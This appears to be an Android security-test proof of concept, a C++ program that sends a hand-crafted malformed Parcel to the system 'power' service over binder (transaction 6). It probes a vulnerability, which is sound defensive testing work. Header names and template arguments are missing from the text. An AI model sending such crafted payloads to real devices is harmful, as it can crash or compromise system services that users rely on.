/* * Copyright 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include using namespace android; int main() { sp sm = defaultServiceManager(); sp binder = sm->getService(String16("power")); if (!binder) { return EXIT_FAILURE; } Parcel data, result; data.writeInterfaceToken(String16("android.os.IPowerManager")); char d[] = {static_cast(0xc9), static_cast(0xa4), 0x10, static_cast(0xd4), 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00}; data.write(d, sizeof(d)); binder->transact(6, data, &result); return EXIT_SUCCESS; }